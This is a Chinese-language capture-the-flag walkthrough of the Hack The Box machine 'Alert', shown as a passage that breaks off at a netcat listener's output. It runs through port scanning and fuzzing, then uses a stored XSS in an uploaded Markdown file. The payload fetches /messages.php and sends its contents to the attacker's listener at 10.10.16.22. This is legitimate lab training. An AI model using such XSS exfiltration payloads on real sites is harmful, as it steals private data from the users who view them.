目录
使用gobuster对alert.htb域名进行路径FUZZ
再次构造一个XSS脚本,访问/messages.php文件并将响应结果传输回攻击机
读取Apache的配置文件,其默认路径为:/etc/apache2/sites-available/000-default.conf
连接至HTB服务器并启动靶机
分配IP:10.10.16.22
靶机IP:10.10.11.44
靶机Domain:alert.htb
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a alert.htb -r 1-65535 --ulimit 5000 | tee res
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p22,80 -sCV -Pn alert.htb
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p22,80 --script=vuln -O -Pn alert.htb
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn alert.htb
使用ffuf对alert.htb域名进行子域名FUZZ
ffuf -u http://alert.htb -H 'Host: FUZZ.alert.htb' -w ../dictionary/subdomains-top20000.txt -t 50 -fw 20
使用gobuster对alert.htb域名进行路径FUZZ
gobuster dir -u http://alert.htb -w ../dictionary/Common-dir.txt -x php,txt -t 50
边界突破
使用curl访问/messages.php文件
curl -v http://alert.htb/messages.php
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -v http://alert.htb/messages.php
* Host alert.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.44
* Trying 10.10.11.44:80...
* Connected to alert.htb (10.10.11.44) port 80
* using HTTP/1.x
> GET /messages.php HTTP/1.1
> Host: alert.htb
> User-Agent: curl/8.11.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sun, 02 Feb 2025 13:47:13 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 1
< Content-Type: text/html; charset=UTF-8
<* Connection #0 to host alert.htb left intact
- 由回显可见,虽然响应码为200但并未返回任何实质内容,应该存在访问白名单
使用浏览器直接访问alert.htb域名
- 可见,该页允许上传一个.md文件,因此我尝试XSS反弹
<script>
alert(1)
</script>
- 上传至靶机后,由弹窗可知该JS代码被成功解析
再次构造一个XSS脚本,访问/messages.php文件并将响应结果传输回攻击机
<script>
fetch("http://alert.htb/messages.php")
.then(response => response.text())
.then(data => {fetch("http://10.10.16.22:1425/?file_content=" + encodeURIComponent(data));});
</script>
- 上传至靶机后,点击右下角的Share Markdown获得该文件URL
- 回到主界面,找到上方的Contact Us
- 将URL发送至靶机支持团队
本地侧netcat监听后成功收到回显
nc -lvnp 1425
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.4